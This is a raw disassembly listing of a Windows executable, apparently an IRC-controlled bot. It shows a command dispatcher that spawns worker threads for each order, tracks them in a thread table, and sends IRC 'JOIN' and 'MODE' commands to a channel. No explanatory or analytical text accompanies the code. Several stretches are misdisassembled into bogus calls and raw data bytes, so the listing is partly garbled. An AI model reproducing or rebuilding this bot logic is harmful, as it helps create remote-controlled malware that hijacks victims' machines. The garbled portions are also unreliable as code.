; inet_ntoa push eax lea eax, [ebp-2C0h] push offset unk_431240 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 0Bh push eax call sub_40B00E add esp, 20h mov [ebp-684h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-714h] push ebx push eax push offset sub_40C574 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-684h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_407AD4 loc_407ABE: ; CODE XREF: .nsp0:00407AD2j cmp [ebp-670h], ebx jnz loc_403ED6 push 32h call dword_427064 ; Sleep jmp short loc_407ABE ; --------------------------------------------------------------------------- loc_407AD4: ; CODE XREF: .nsp0:00407ABCj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_431334 jmp loc_403EC7 ; --------------------------------------------------------------------------- loc_407AE5: ; CODE XREF: .nsp0:004068F7j ; .nsp0:0040690Ej push dword ptr [ebp+18h] call sub_41BE29 mov [ebp-112Ch], eax push 7Fh lea eax, [ebp-1230h] push edi push eax call sub_41BCA0 push dword ptr [ebp+8] call sub_41BE29 push dword ptr [ebp-88h] mov esi, [ebp+0Ch] mov [ebp-1130h], eax lea eax, [ebp-11B0h] push 80h push eax mov [ebp-1238h], esi call sub_41C030 mov eax, [ebp-8] add esp, 20h mov edi, [ebp-4] mov [ebp-111Ch], eax push dword ptr [ebp-1130h] lea eax, [ebp-1230h] mov [ebp-1120h], edi push eax push dword ptr [ebp-112Ch] push esi call sub_40AB6A pop ecx push eax lea eax, [ebp-2C0h] push offset unk_431204 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 18h push eax call sub_40B00E add esp, 24h mov [ebp-1128h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1238h] push ebx push eax push offset sub_4109AC push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-1128h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_407BCE loc_407BB8: ; CODE XREF: .nsp0:00407BCCj cmp [ebp-1118h], ebx jnz loc_403ED6 push 32h call dword_427064 ; Sleep jmp short loc_407BB8 ; --------------------------------------------------------------------------- loc_407BCE: ; CODE XREF: .nsp0:00407BB6j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4311C0 jmp loc_403EC7 ; --------------------------------------------------------------------------- loc_407BDF: ; CODE XREF: .nsp0:004068C9j ; .nsp0:004068E0j push 0FFh lea eax, [ebp-2878h] push dword ptr [ebp+18h] push eax call sub_41BCA0 push 0FFh lea eax, [ebp-2778h] push edi push eax call sub_41BCA0 push dword ptr [ebp+8] mov [ebp-2674h], ebx call sub_41BE29 mov [ebp-2670h], eax mov eax, [ebp+esi-80h] add esp, 1Ch cmp eax, ebx jz short loc_407C38 push 10h push ebx push eax call sub_41C45E add esp, 0Ch mov [ebp-2668h], eax jmp short loc_407C3E ; --------------------------------------------------------------------------- loc_407C38: ; CODE XREF: .nsp0:00407C22j mov [ebp-2668h], ebx loc_407C3E: ; CODE XREF: .nsp0:00407C36j mov esi, [ebp+esi-7Ch] cmp esi, ebx jz short loc_407C55 push esi call sub_41BE29 pop ecx mov [ebp-266Ch], eax jmp short loc_407C5B ; --------------------------------------------------------------------------- loc_407C55: ; CODE XREF: .nsp0:00407C44j mov [ebp-266Ch], ebx loc_407C5B: ; CODE XREF: .nsp0:00407C53j movzx eax, byte ptr [ebp-8FBh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-88h] mov [ebp-2664h], eax lea eax, [ebp-28F8h] mov [ebp-28FCh], esi push eax call sub_41BCA0 mov eax, [ebp-4] push edi push dword ptr [ebp+18h] mov [ebp-265Ch], eax mov eax, [ebp-8] mov [ebp-2660h], eax lea eax, [ebp-2C0h] push offset unk_431194 push eax call sub_41BF36 push esi lea eax, [ebp-2C0h] push 1Dh push eax call sub_40B00E add esp, 28h mov [ebp-2678h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-28FCh] push ebx push eax push (offset loc_416A01+1) push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-2678h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_407D09 loc_407CF3: ; CODE XREF: .nsp0:00407D07j cmp [ebp-2658h], ebx jnz loc_407202 push 32h call dword_427064 ; Sleep jmp short loc_407CF3 ; --------------------------------------------------------------------------- loc_407D09: ; CODE XREF: .nsp0:00407CF1j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_431154 jmp loc_4071F3 ; --------------------------------------------------------------------------- loc_407D1A: ; CODE XREF: .nsp0:0040689Bj ; .nsp0:004068B2j push 7Fh lea eax, [ebp-3490h] pop esi push esi push dword ptr [ebp+18h] push eax call sub_41BCA0 push esi lea eax, [ebp-3410h] push edi push eax call sub_41BCA0 push esi lea eax, [ebp-3390h] push dword ptr [ebp+8] push eax call sub_41BCA0 push esi lea eax, [ebp-3310h] push dword ptr [ebp-88h] push eax call sub_41BCA0 push dword ptr [ebp+8] mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-328Ch], eax mov eax, [ebp-8] push edi push dword ptr [ebp+18h] mov [ebp-3288h], eax lea eax, [ebp-2C0h] mov [ebp-3494h], esi push offset unk_431118 push eax call sub_41BF36 add esp, 44h lea eax, [ebp-2C0h] push ebx push 12h push eax call sub_40B00E add esp, 0Ch mov [ebp-3290h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3494h] push ebx push eax push offset word_41508E push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-3290h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_407DF1 loc_407DDB: ; CODE XREF: .nsp0:00407DEFj cmp [ebp-3284h], ebx jnz loc_407202 push 32h call dword_427064 ; Sleep jmp short loc_407DDB ; --------------------------------------------------------------------------- loc_407DF1: ; CODE XREF: .nsp0:00407DD9j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4310E0 jmp loc_4071F3 ; --------------------------------------------------------------------------- loc_407E02: ; CODE XREF: .nsp0:0040676Ej ; .nsp0:00406785j push 7Fh lea eax, [ebp-3068h] pop esi push esi push dword ptr [ebp+18h] push eax call sub_41BCA0 push esi lea eax, [ebp-2FE8h] push edi push eax call sub_41BCA0 push esi lea eax, [ebp-2F68h] push dword ptr [ebp+8] push eax call sub_41BCA0 push esi lea eax, [ebp-2EE8h] push dword ptr [ebp-88h] push eax call sub_41BCA0 push dword ptr [ebp+8] mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-2E64h], eax mov eax, [ebp-8] push edi push dword ptr [ebp+18h] mov [ebp-2E60h], eax lea eax, [ebp-2C0h] mov [ebp-306Ch], esi push offset unk_4310B0 push eax call sub_41BF36 add esp, 44h lea eax, [ebp-2C0h] push ebx push 0Eh push eax call sub_40B00E add esp, 0Ch mov [ebp-2E68h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-306Ch] push ebx push eax push offset dword_413DC8 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-2E68h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_407ED9 loc_407EC3: ; CODE XREF: .nsp0:00407ED7j cmp [ebp-2E5Ch], ebx jnz loc_407202 push 32h call dword_427064 ; Sleep jmp short loc_407EC3 ; --------------------------------------------------------------------------- loc_407ED9: ; CODE XREF: .nsp0:00407EC1j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_431078 jmp loc_4071F3 ; --------------------------------------------------------------------------- loc_407EEA: ; CODE XREF: .nsp0:00406645j ; .nsp0:0040665Cj ... push 7Fh lea eax, [ebp-3CE4h] pop esi push esi push dword ptr [ebp+18h] push eax call sub_41BCA0 push esi lea eax, [ebp-3C64h] push edi push eax call sub_41BCA0 push esi lea eax, [ebp-3BE4h] push dword ptr [ebp+8] push eax call sub_41BCA0 push esi lea eax, [ebp-3B64h] push dword ptr [ebp-88h] push eax call sub_41BCA0 push 20h lea eax, [ebp-3AE4h] push dword ptr [ebp+10h] push eax call sub_41BCA0 push dword ptr [ebp+8] mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-3A64h], eax mov eax, [ebp-8] push edi push dword ptr [ebp+18h] mov [ebp-3A60h], eax lea eax, [ebp-2C0h] mov [ebp-3CECh], esi push offset unk_431048 push eax call sub_41BF36 add esp, 50h lea eax, [ebp-2C0h] push ebx push 0Dh push eax call sub_40B00E add esp, 0Ch mov [ebp-3CE8h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3CECh] push ebx push eax push offset byte_413055 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-3CE8h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_407FD2 loc_407FBC: ; CODE XREF: .nsp0:00407FD0j cmp [ebp-3A5Ch], ebx jnz loc_407202 push 32h call dword_427064 ; Sleep jmp short loc_407FBC ; --------------------------------------------------------------------------- loc_407FD2: ; CODE XREF: .nsp0:00407FBAj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_431010 jmp loc_4071F3 ; --------------------------------------------------------------------------- loc_407FE3: ; CODE XREF: .nsp0:00406617j ; .nsp0:0040662Ej push 7Fh lea eax, [ebp-1778h] push dword ptr [ebp+18h] push eax call sub_41BCA0 push edi call sub_41BE29 push 3Fh mov [ebp-1628h], eax push dword ptr [ebp+8] lea eax, [ebp-16F8h] push eax call sub_41BCA0 mov esi, [ebp+esi-80h] add esp, 1Ch cmp esi, ebx jz short loc_40802E push 3Fh lea eax, [ebp-16B8h] push esi push eax call sub_41BCA0 add esp, 0Ch loc_40802E: ; CODE XREF: .nsp0:0040801Aj lea eax, [ebp-16F8h] mov dword ptr [ebp-1624h], 1 push eax lea eax, [ebp-1778h] push dword ptr [ebp-1628h] push eax lea eax, [ebp-2C0h] push offset dword_430FE0 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 1Fh push eax call sub_40B00E add esp, 20h mov [ebp-1620h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-177Ch] push ebx push eax push offset sub_4018A1 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-1620h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_4080BA loc_4080A4: ; CODE XREF: .nsp0:004080B8j cmp [ebp-161Ch], ebx jnz loc_406C65 push 32h call dword_427064 ; Sleep jmp short loc_4080A4 ; --------------------------------------------------------------------------- loc_4080BA: ; CODE XREF: .nsp0:004080A2j call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_430FA4 jmp loc_406C56 ; --------------------------------------------------------------------------- loc_4080CB: ; CODE XREF: .nsp0:004065D7j ; .nsp0:004065EEj push edi call sub_41BE29 cmp eax, ebx pop ecx mov [ebp-1D64h], eax jle loc_4081B8 push dword ptr [ebp+18h] mov esi, 80h lea eax, [ebp-1EECh] push esi push eax call sub_41C030 xor eax, eax cmp [ebp-8EEh], bl push dword ptr [ebp-88h] setnz al mov [ebp-1D60h], eax mov eax, [ebp+0Ch] mov [ebp-1EF0h], eax lea eax, [ebp-1DECh] push esi push eax call sub_41C030 mov eax, [ebp-4] push edi push dword ptr [ebp+18h] mov [ebp-1D5Ch], eax mov eax, [ebp-8] mov [ebp-1D58h], eax push offset unk_430F78 lea eax, [ebp-2C0h] push 200h push eax call sub_41C030 push ebx lea eax, [ebp-2C0h] push 15h push eax call sub_40B00E add esp, 38h mov [ebp-1D6Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1EF0h] push ebx push eax push offset dword_41349C push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-1D6Ch] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_4081A7 loc_408195: ; CODE XREF: .nsp0:004081A5j cmp [ebp-1D54h], ebx jnz short loc_40820E push 32h call dword_427064 ; Sleep jmp short loc_408195 ; --------------------------------------------------------------------------- loc_4081A7: ; CODE XREF: .nsp0:00408193j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_430F40 jmp loc_406E7B ; --------------------------------------------------------------------------- loc_4081B8: ; CODE XREF: .nsp0:004080DAj push offset unk_430F08 jmp loc_406E94 ; --------------------------------------------------------------------------- loc_4081C2: ; CODE XREF: .nsp0:004065A9j ; .nsp0:004065C0j push edi push dword ptr [ebp+18h] call near ptr 0B40000h adc al, [ebp+571F74C0h] lea eax, [ebp-2C0h] push dword ptr [ebp+18h] push offset unk_430EE4 push 200h push eax call sub_41C030 loc_4081EA: ; CODE XREF: .nsp0:004040CEj add esp, 14h jmp short loc_40820E ; --------------------------------------------------------------------------- push offset dword_430ED8 call sub_4188F8 push eax lea eax, [ebp-2C0h] push 200h push eax call sub_41C030 add esp, 10h loc_40820E: ; CODE XREF: .nsp0:00403C01j ; .nsp0:004049C3j ... cmp [ebp-8], ebx jnz loc_40833C push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] loc_40822B: ; CODE XREF: .nsp0:0040721Dj call sub_4099D2 add esp, 14h jmp loc_40833C ; --------------------------------------------------------------------------- loc_408238: ; CODE XREF: .nsp0:0040657Bj ; .nsp0:00406592j push dword ptr [ebp+18h] lea eax, [ebp-3F04h] push 104h push eax call sub_41C030 add esp, 0Ch cmp [ebp-0Ch], ebx jz short loc_408272 push edi push dword ptr [ebp-0Ch] call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_408272 push eax lea eax, [ebp-3E00h] push eax call sub_41BF36 pop ecx pop ecx loc_408272: ; CODE XREF: .nsp0:00408252j ; .nsp0:00408261j push dword ptr [ebp-88h] lea eax, [ebp-3F84h] push 80h push eax call sub_41C030 mov eax, [ebp+0Ch] mov [ebp-3F88h], eax mov eax, [ebp-4] mov [ebp-3CF8h], eax mov eax, [ebp-8] mov [ebp-3CF4h], eax lea eax, [ebp-3E00h] push eax lea eax, [ebp-3F04h] push eax push offset unk_430EA8 lea eax, [ebp-2C0h] push 200h push eax call sub_41C030 push ebx lea eax, [ebp-2C0h] push 24h push eax call sub_40B00E add esp, 2Ch mov [ebp-3CFCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3F88h] push ebx push eax push offset byte_4172AD push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-3CFCh] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_408321 loc_40830F: ; CODE XREF: .nsp0:0040831Fj cmp [ebp-3CF0h], ebx jnz short loc_40833C push 32h call dword_427064 ; Sleep jmp short loc_40830F ; --------------------------------------------------------------------------- loc_408321: ; CODE XREF: .nsp0:0040830Dj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_430E6C loc_40832D: ; CODE XREF: .nsp0:00402551j ; .nsp0:00402562j ... lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 0Ch loc_40833C: ; CODE XREF: .nsp0:004022E3j ; .nsp0:0040243Dj ... push 1 pop esi jmp loc_406C89 ; --------------------------------------------------------------------------- loc_408344: ; CODE XREF: .nsp0:0040654Dj ; .nsp0:00406564j push 44h lea eax, [ebp-668h] pop esi push esi push ebx push eax call sub_41BC40 push 1 mov [ebp-668h], esi pop esi mov [ebp-638h], bx push dword ptr [ebp+18h] mov [ebp-63Ch], esi call sub_41BE29 add esp, 10h cmp eax, esi jnz short loc_408383 mov word ptr [ebp-638h], 5 loc_408383: ; CODE XREF: .nsp0:00408378j cmp [ebp-0Ch], ebx jz loc_406C65 push edi push dword ptr [ebp-0Ch] call sub_41BFB0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406C65 lea eax, [ebp-0E10h] push eax lea eax, [ebp-668h] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 0B40000h inc eax test eax, eax jnz short loc_4083CC push offset unk_430E48 jmp loc_40854F ; --------------------------------------------------------------------------- loc_4083CC: ; CODE XREF: .nsp0:004083C0j push edi push offset dword_430E2C jmp loc_406C56 ; --------------------------------------------------------------------------- loc_4083D7: ; CODE XREF: .nsp0:0040651Fj ; .nsp0:00406536j push edi push offset aXxerooxx ; "XxerooxX" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40854A lea eax, [ebp-48F0h] push eax push 104h call near ptr 0B40000h punpckhbw mm7, mm7 ; --------------------------------------------------------------------------- dd 8D000000h, 0FFDA3085h, 1875FFFFh, 388EE850h, 858D0001h dd 0FFFFE830h, 28BCE850h, 8D500000h, 0FFB71085h, 858D50FFh dd 0FFFFDB30h, 430E2068h, 0FFE85000h, 8B00013Ah, 0FF7C3584h dd 0C483FFFFh, 0C7C33B20h, 0FFDC3485h, 1FFh, 389D8900h dd 74FFFFDCh, 53106A14h, 4000E850h, 0C4830001h, 4085890Ch dd 0EBFFFFDCh, 409D8906h, 8BFFFFDCh, 3B803574h, 560F74F3h dd 139ACE8h, 85895900h, 0FFFFDC3Ch, 9D8906EBh, 0FFFFDC3Ch dd 585B60Fh, 8BFFFFF7h, 7F6A0C75h, 0FF78B5FFh, 8589FFFFh dd 0FFFFDC44h, 0D9B0858Dh, 0B589FFFFh, 0FFFFD9ACh, 37EAE850h dd 458B0001h, 1875FFFCh, 0DC4C8589h, 458BFFFFh, 488589F8h dd 8DFFFFDCh, 0FFFD4085h, 0DF468FFh, 0E8500043h, 13A5Ah dd 40858D56h, 6AFFFFFDh, 23E8501Eh, 8300002Bh, 858924C4h dd 0FFFFDC30h, 50F0458Dh, 0D9AC858Dh, 5053FFFFh, 416A0268h dd 0FF535300h, 42707C15h, 308D8B00h, 69FFFFDCh, 234C9h dd 89C33B00h, 44413481h, 39167400h, 0FFDC509Dh, 36850FFFh dd 6AFFFFE7h, 6415FF32h, 0EB004270h, 8C15FFEAh, 50004270h dd 430DB868h, 0E70CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_40854A: ; CODE XREF: .nsp0:004083E6j push offset dword_430D70 loc_40854F: ; CODE XREF: .nsp0:0040496Aj ; .nsp0:00405F83j ... lea eax, [ebp-2C0h] push eax call sub_41BF36 pop ecx pop ecx jmp loc_406C65 ; --------------------------------------------------------------------------- loc_408562: ; CODE XREF: .nsp0:004064F1j ; .nsp0:00406508j push dword ptr [ebp-8Ch] push offset dword_4335A0 call sub_41C710 pop ecx test eax, eax pop ecx jz loc_401D6C cmp [ebp-0Ch], ebx jz loc_401D6C push edi push dword ptr [ebp-0Ch] call sub_41BFB0 push eax lea eax, [ebp-2C0h] push dword ptr [ebp-88h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push offset dword_430D60 push eax call sub_41BF36 lea eax, [ebp-2C0h] push 1FFh push eax push dword ptr [ebp+8] call sub_41BCA0 push dword ptr [ebp+18h] call sub_41BE29 add esp, 30h test eax, eax jle short loc_4085EB push dword ptr [ebp+18h] call sub_41BE29 imul eax, 3E8h pop ecx push eax call dword_427064 ; Sleep loc_4085EB: ; CODE XREF: .nsp0:004085D3j push offset dword_430D4C call sub_4157A6 mov eax, [ebp+2Ch] pop ecx inc eax jmp loc_401D6F ; --------------------------------------------------------------------------- loc_4085FF: ; CODE XREF: .nsp0:004064C3j ; .nsp0:004064DAj push dword ptr [ebp-8Ch] push offset dword_4335A0 call sub_41C710 pop ecx test eax, eax pop ecx jz loc_401D6C cmp [ebp-0Ch], ebx jz loc_4097B8 push edi push dword ptr [ebp-0Ch] call sub_41BFB0 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C710 add esp, 10h test eax, eax push esi jz short loc_4086BA push dword ptr [ebp-88h] lea eax, [ebp-2C0h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push offset dword_430D60 push eax call sub_41BF36 lea eax, [ebp-2C0h] push 1FFh push eax push dword ptr [ebp+8] call sub_41BCA0 push esi lea eax, [ebp-2C0h] push offset dword_430D34 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_4157A6 push dword ptr [ebp+18h] call sub_41BE29 add esp, 38h test eax, eax jle loc_4097B8 push dword ptr [ebp+18h] call sub_41BE29 add eax, [ebp+2Ch] pop ecx jmp loc_401D6F ; --------------------------------------------------------------------------- loc_4086BA: ; CODE XREF: .nsp0:0040863Fj push offset unk_430D00 loc_4086BF: ; CODE XREF: .nsp0:00408F4Cj lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 0Ch jmp loc_409089 ; --------------------------------------------------------------------------- loc_4086D3: ; CODE XREF: .nsp0:00406495j ; .nsp0:004064ACj push 7Fh lea eax, [ebp-2214h] push dword ptr [ebp+18h] push eax call sub_41BCA0 push 7Fh lea eax, [ebp-2194h] push edi push eax call sub_41BCA0 push 7Fh lea eax, [ebp-2114h] push dword ptr [ebp-88h] push eax call sub_41BCA0 mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-2090h], eax mov eax, [ebp-8] push edi mov [ebp-208Ch], eax push dword ptr [ebp+18h] lea eax, [ebp-2C0h] mov [ebp-2218h], esi push offset unk_430CCC push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 0Fh push eax call sub_40B00E add esp, 40h mov [ebp-2094h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-2218h] push ebx push eax push offset word_4149C2 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-2094h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_408790 loc_40877E: ; CODE XREF: .nsp0:0040878Ej cmp [ebp-2088h], ebx jnz short loc_4087AB push 32h call dword_427064 ; Sleep jmp short loc_40877E ; --------------------------------------------------------------------------- loc_408790: ; CODE XREF: .nsp0:0040877Cj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_430C90 loc_40879C: ; CODE XREF: .nsp0:00408898j lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 0Ch loc_4087AB: ; CODE XREF: .nsp0:00408784j ; .nsp0:0040887Cj cmp [ebp-8], ebx jnz loc_4095A9 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push esi jmp loc_4095A1 ; --------------------------------------------------------------------------- loc_4087CB: ; CODE XREF: .nsp0:00406467j ; .nsp0:0040647Ej push 7Fh lea eax, [ebp-23A8h] push dword ptr [ebp+18h] push eax call sub_41BCA0 push 7Fh lea eax, [ebp-2328h] push edi push eax call sub_41BCA0 push 7Fh lea eax, [ebp-22A8h] push dword ptr [ebp-88h] push eax call sub_41BCA0 mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-2224h], eax mov eax, [ebp-8] push edi mov [ebp-2220h], eax push dword ptr [ebp+18h] lea eax, [ebp-2C0h] mov [ebp-23ACh], esi push offset dword_430C64 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 11h push eax call sub_40B00E add esp, 40h mov [ebp-2228h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-23ACh] push ebx push eax push offset dword_414170 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-2228h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40888C loc_408876: ; CODE XREF: .nsp0:0040888Aj cmp [ebp-221Ch], ebx jnz loc_4087AB push 32h call dword_427064 ; Sleep jmp short loc_408876 ; --------------------------------------------------------------------------- loc_40888C: ; CODE XREF: .nsp0:00408874j call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_430C28 jmp loc_40879C ; --------------------------------------------------------------------------- loc_40889D: ; CODE XREF: .nsp0:00406439j ; .nsp0:00406450j push edi lea eax, [ebp-2C0h] push offset dword_430C20 push eax call sub_41BF36 push dword ptr [ebp+18h] call sub_41BE29 add esp, 10h loc_4088BA: ; CODE XREF: .nsp0:00408925j test eax, eax jle loc_4097B8 push dword ptr [ebp+18h] call sub_41BE29 cmp eax, 400h pop ecx jge loc_4097B8 loc_4088D6: ; CODE XREF: .nsp0:0040949Bj lea eax, [ebp-2C0h] push eax push offset dword_430C18 push dword ptr [ebp+18h] call sub_41BE29 imul eax, 234h pop ecx push dword_44412C[eax] call sub_40998C jmp loc_40495D ; --------------------------------------------------------------------------- loc_408901: ; CODE XREF: .nsp0:0040640Bj ; .nsp0:00406422j push dword ptr [ebp+esi-84h] lea eax, [ebp-2C0h] push edi push offset dword_430C0C push eax call sub_41BF36 push dword ptr [ebp+18h] call sub_41BE29 add esp, 14h jmp short loc_4088BA ; --------------------------------------------------------------------------- loc_408927: ; CODE XREF: .nsp0:004063DDj ; .nsp0:004063F4j push edi lea eax, [ebp-2C0h] push offset dword_432138 push eax call sub_41BF36 mov esi, [ebp+18h] push esi call sub_41BE29 add esp, 10h test eax, eax jle loc_4097B8 push esi call sub_41BE29 cmp eax, 400h pop ecx jge loc_4097B8 lea eax, [ebp-2C0h] push eax push offset dword_430C18 push esi call sub_41BE29 imul eax, 234h pop ecx push dword_44412C[eax] call sub_40998C push edi push esi push offset dword_430BF0 loc_40898A: ; CODE XREF: .nsp0:00408A12j ; .nsp0:00408A7Ej ... call sub_41581A jmp loc_40428D ; --------------------------------------------------------------------------- loc_408994: ; CODE XREF: .nsp0:004063AFj ; .nsp0:004063C6j cmp [ebp-0Ch], ebx jz loc_4097B8 push edi push dword ptr [ebp-0Ch] call sub_41BFB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089C3 push esi lea eax, [ebp-2C0h] push offset dword_430BE8 push eax call sub_41BF36 add esp, 0Ch loc_4089C3: ; CODE XREF: .nsp0:004089ACj mov edi, [ebp+18h] push edi call sub_41BE29 test eax, eax pop ecx jle loc_4097B8 push edi call sub_41BE29 cmp eax, 400h pop ecx jge loc_4097B8 lea eax, [ebp-2C0h] push eax push offset dword_430C18 push edi call sub_41BE29 imul eax, 234h pop ecx push dword_44412C[eax] call sub_40998C push esi push edi push offset dword_430BCC jmp loc_40898A ; --------------------------------------------------------------------------- loc_408A17: ; CODE XREF: .nsp0:00406381j ; .nsp0:00406398j cmp [ebp-0Ch], ebx jz loc_4097B8 push edi push dword ptr [ebp-0Ch] call sub_41BFB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_4097B8 mov edi, [ebp+18h] push edi call sub_41BE29 test eax, eax pop ecx jle loc_4097B8 push edi call sub_41BE29 cmp eax, 400h pop ecx jge loc_4097B8 push esi push offset dword_430C18 push edi call sub_41BE29 imul eax, 234h pop ecx push dword_44412C[eax] call sub_40998C push esi push edi push offset dword_430BB0 jmp loc_40898A ; --------------------------------------------------------------------------- loc_408A83: ; CODE XREF: .nsp0:00406353j ; .nsp0:0040636Aj cmp [ebp-0Ch], ebx jz loc_4097B8 push dword ptr [ebp+18h] push dword ptr [ebp-0Ch] call sub_41BFB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_4097B8 push esi push offset aModeS ; "MODE %s\r\n" push dword ptr [ebp+0Ch] call sub_40998C push esi push offset unk_430B88 loc_408AB7: ; CODE XREF: .nsp0:00409682j ; .nsp0:0040969Fj ... call sub_41581A jmp loc_403523 ; --------------------------------------------------------------------------- loc_408AC1: ; CODE XREF: .nsp0:00406325j ; .nsp0:0040633Cj push dword ptr [ebp-8Ch] push offset dword_4335A0 call sub_41C710 pop ecx test eax, eax pop ecx jz loc_401D6C push edi push offset dword_430B7C push dword ptr [ebp+0Ch] call sub_40998C push dword ptr [ebp+18h] call sub_41BE29 imul eax, 3E8h add esp, 10h push eax call dword_427064 ; Sleep push dword ptr [ebp+esi-84h] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40998C push offset dword_430B68 call sub_4157A6 jmp loc_403523 ; --------------------------------------------------------------------------- loc_408B25: ; CODE XREF: .nsp0:004062F7j ; .nsp0:0040630Ej cmp [ebp-0Ch], ebx jz loc_4097B8 push dword ptr [ebp+18h] call sub_41B890 push dword ptr [ebp+10h] mov esi, eax call sub_41B890 add eax, [ebp-0Ch] push edi lea eax, [eax+esi+2] push eax call sub_41BFB0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_4097B8 push esi lea eax, [ebp-2C0h] push offset dword_43129C push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push ebx push eax push dword ptr [ebp+18h] push dword ptr [ebp+0Ch] call sub_4099D2 push esi push dword ptr [ebp+18h] push offset unk_430B4C call sub_41581A add esp, 2Ch jmp loc_4097B8 ; --------------------------------------------------------------------------- loc_408B97: ; CODE XREF: .nsp0:004062C9j ; .nsp0:004062E0j cmp [ebp-0Ch], ebx jz loc_4097B8 push dword ptr [ebp+18h] call sub_41B890 push dword ptr [ebp+10h] mov esi, eax call sub_41B890 add eax, [ebp-0Ch] push edi lea eax, [eax+esi+2] push eax call sub_41BFB0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_4097B8 push ebx push ebx push esi push dword ptr [ebp+18h] push dword ptr [ebp+0Ch] call sub_4099D2 push esi push dword ptr [ebp+18h] push offset unk_430B2C call sub_41581A add esp, 20h jmp loc_4097B8 ; --------------------------------------------------------------------------- loc_408BF1: ; CODE XREF: .nsp0:0040629Bj ; .nsp0:004062B2j cmp [ebp-0Ch], ebx jz loc_401D6C push edi push dword ptr [ebp-0Ch] call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz loc_401D6C push eax push dword ptr [ebp+18h] call sub_4156AE push dword ptr [ebp+18h] lea eax, [ebp-2C0h] push offset unk_430B0C push eax call sub_41BF36 add esp, 14h jmp loc_409588 ; --------------------------------------------------------------------------- loc_408C32: ; CODE XREF: .nsp0:0040626Dj ; .nsp0:00406284j push edi push dword ptr [ebp+18h] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_418C8D jmp loc_4040FF ; --------------------------------------------------------------------------- loc_408C4C: ; CODE XREF: .nsp0:0040622Fj ; .nsp0:00406244j push dword ptr [ebp+18h] push dword ptr [ebp+24h] call sub_41BFB0 pop ecx test eax, eax 